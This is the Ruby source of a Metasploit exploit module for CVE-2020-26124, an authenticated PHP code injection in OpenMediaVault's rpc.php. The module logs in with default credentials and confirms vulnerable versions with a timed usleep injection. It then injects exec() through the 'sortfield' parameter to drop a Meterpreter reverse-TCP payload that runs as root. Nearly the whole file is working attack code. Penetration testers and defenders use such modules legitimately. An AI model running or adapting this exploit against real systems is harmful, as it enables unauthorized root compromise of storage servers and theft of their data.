210 lines
6.9 KiB
Ruby
210 lines
6.9 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = ExcellentRanking
|
|
prepend Msf::Exploit::Remote::AutoCheck
|
|
include Msf::Exploit::Remote::HttpClient
|
|
include Msf::Exploit::CmdStager
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'OpenMediaVault rpc.php Authenticated PHP Code Injection',
|
|
'Description' => %q{
|
|
This module exploits an authenticated PHP code injection
|
|
vulnerability found in openmediavault versions before 4.1.36
|
|
and 5.x versions before 5.5.12 inclusive in the "sortfield"
|
|
POST parameter of the rpc.php page, because "json_encode_safe()"
|
|
is not used in config/databasebackend.inc.
|
|
Successful exploitation grants attackers the ability to execute
|
|
arbitrary commands on the underlying operating system as root.
|
|
},
|
|
'Author' => [
|
|
'Anastasios Stasinopoulos' # @ancst of Obrela Labs Team - Discovery and Metasploit module
|
|
],
|
|
'References' => [
|
|
['CVE', '2020-26124'],
|
|
['URL', 'https://www.openmediavault.org/?p=2797']
|
|
],
|
|
'License' => MSF_LICENSE,
|
|
'Platform' => ['unix', 'linux'],
|
|
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
|
|
'Payload' => { 'BadChars' => "\x00" },
|
|
'DisclosureDate' => '2020-09-28',
|
|
'Targets' => [
|
|
[
|
|
'Automatic (Linux Dropper)',
|
|
{
|
|
'Platform' => 'linux',
|
|
'Arch' => [ARCH_X86, ARCH_X64],
|
|
'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp' },
|
|
'Type' => :linux_dropper
|
|
}
|
|
]
|
|
],
|
|
'Privileged' => false,
|
|
'DefaultTarget' => 0,
|
|
'Notes' => {
|
|
'Stability' => [ CRASH_SAFE ],
|
|
'SideEffects' => [ IOC_IN_LOGS ],
|
|
'Reliability' => [ REPEATABLE_SESSION ]
|
|
}
|
|
)
|
|
)
|
|
register_options(
|
|
[
|
|
OptString.new('TARGETURI', [true, 'The URI path of the OpenMediaVault installation', '/']),
|
|
OptString.new('USERNAME', [true, 'The OpenMediaVault username to authenticate with', 'admin']),
|
|
OptString.new('PASSWORD', [true, 'The OpenMediaVault password to authenticate with', 'openmediavault'])
|
|
]
|
|
)
|
|
end
|
|
|
|
def user
|
|
datastore['USERNAME']
|
|
end
|
|
|
|
def pass
|
|
datastore['PASSWORD']
|
|
end
|
|
|
|
def login(user, pass, _opts = {})
|
|
print_status("#{peer} - Authenticating with OpenMediaVault using #{user}:#{pass}...")
|
|
@uri = normalize_uri(target_uri.path, '/rpc.php')
|
|
res = send_request_cgi({
|
|
'uri' => @uri,
|
|
'method' => 'POST',
|
|
'ctype' => 'application/json',
|
|
'data' => {
|
|
service: 'Session',
|
|
method: 'login',
|
|
params: {
|
|
username: user.to_s,
|
|
password: pass.to_s
|
|
},
|
|
options: nil
|
|
}.to_json
|
|
})
|
|
unless res
|
|
# We return nil here, as callers should handle this case
|
|
# specifically with their own unique error message.
|
|
return nil
|
|
end
|
|
|
|
if res.code == 200 && res.body.scan('"authenticated":true,').flatten.first && res.get_cookies.scan(/X-OPENMEDIAVAULT-SESSIONID=(\w+);*/).flatten.first
|
|
@cookie = res.get_cookies
|
|
end
|
|
return res
|
|
rescue ::Rex::ConnectionError
|
|
print_error('Rex::ConnectionError caught in login(), could not connect to the target.')
|
|
return nil
|
|
end
|
|
|
|
def get_target
|
|
print_status("#{peer} - Trying to detect if target is running a supported version of OpenMediaVault.")
|
|
res = send_request_cgi({
|
|
'uri' => @uri,
|
|
'method' => 'POST',
|
|
'cookie' => @cookie.to_s,
|
|
'data' => {
|
|
service: 'System',
|
|
method: 'getInformation',
|
|
params: nil,
|
|
options: {
|
|
updatelastaccess: false
|
|
}
|
|
}.to_json
|
|
})
|
|
version = res.body.scan(/"version":"(\d.\d.{0,1}\d{0,1}.{0,1}\d{0,1})/).flatten.first
|
|
if version.nil?
|
|
print_error("#{peer} - Unable to grab version of OpenMediaVault installed on target!")
|
|
return nil
|
|
end
|
|
print_good("#{peer} - Identified OpenMediaVault version #{version}.")
|
|
|
|
version_gemmed = Rex::Version.new(version)
|
|
if version_gemmed < Rex::Version.new('3.0.1')
|
|
return version
|
|
elsif version_gemmed >= Rex::Version.new('4.0.0') && version_gemmed < Rex::Version.new('4.1.36')
|
|
return version
|
|
elsif version_gemmed >= Rex::Version.new('5.0.0') && version_gemmed < Rex::Version.new('5.5.12')
|
|
return version
|
|
else
|
|
return nil
|
|
end
|
|
end
|
|
|
|
def execute_command(cmd, _opts = {})
|
|
send_request_cgi({
|
|
'uri' => @uri,
|
|
'method' => 'POST',
|
|
'cookie' => @cookie.to_s,
|
|
'data' => {
|
|
service: 'LogFile',
|
|
method: 'getList',
|
|
params: {
|
|
id: 'apt_history',
|
|
start: 0,
|
|
limit: 50,
|
|
sortfield: "'.exec(\"#{cmd}\").'",
|
|
sortdir: 'DESC'
|
|
},
|
|
options: nil
|
|
}.to_json
|
|
})
|
|
rescue ::Rex::ConnectionError
|
|
fail_with(Failure::Unreachable, 'Rex::ConnectionError caught in execute_command(), could not connect to the target.')
|
|
end
|
|
|
|
def check
|
|
res = login(user, pass)
|
|
unless res
|
|
return CheckCode::Unknown("No response was received from #{peer} whilst in check(), check it is online and the target port is open!")
|
|
end
|
|
|
|
if @cookie.nil?
|
|
return Exploit::CheckCode::Unknown("Failed to authenticate with OpenMediaVault on #{peer} using #{user}:#{pass}")
|
|
end
|
|
|
|
print_good("#{peer} - Successfully authenticated with OpenMediaVault using #{user}:#{pass}.")
|
|
version = get_target
|
|
if version.nil?
|
|
# We don't print out an error message here as returning this will
|
|
# automatically cause Metasploit to print out an appropriate error message.
|
|
return CheckCode::Safe
|
|
end
|
|
|
|
delay = rand(7...15)
|
|
cmd = "\").usleep(#{delay}0000).(\""
|
|
print_status("#{peer} - Verifying remote code execution by attempting to execute 'usleep()'.")
|
|
t1 = Time.now.to_i
|
|
res = execute_command(cmd)
|
|
t2 = Time.now.to_i
|
|
unless res
|
|
print_error("#{peer} - Connection failed whilst trying to perform the code injection.")
|
|
return CheckCode::Detected
|
|
end
|
|
diff = t2 - t1
|
|
if diff >= 3
|
|
print_good("#{peer} - Response received after #{diff} seconds.")
|
|
return CheckCode::Vulnerable
|
|
end
|
|
print_error("#{peer} - Response wasn't received within the expected period of time.")
|
|
return CheckCode::Safe
|
|
rescue ::Rex::ConnectionError
|
|
print_error("#{peer} - Rex::ConnectionError caught in check(), could not connect to the target.")
|
|
return CheckCode::Unknown
|
|
end
|
|
|
|
def exploit
|
|
print_status("#{peer} - Sending payload (#{payload.encoded.length} bytes)...")
|
|
execute_cmdstager(linemax: 130_000)
|
|
rescue ::Rex::ConnectionError
|
|
print_error('Rex::ConnectionError caught in exploit(), could not connect to the target.')
|
|
return false
|
|
end
|
|
|
|
end
|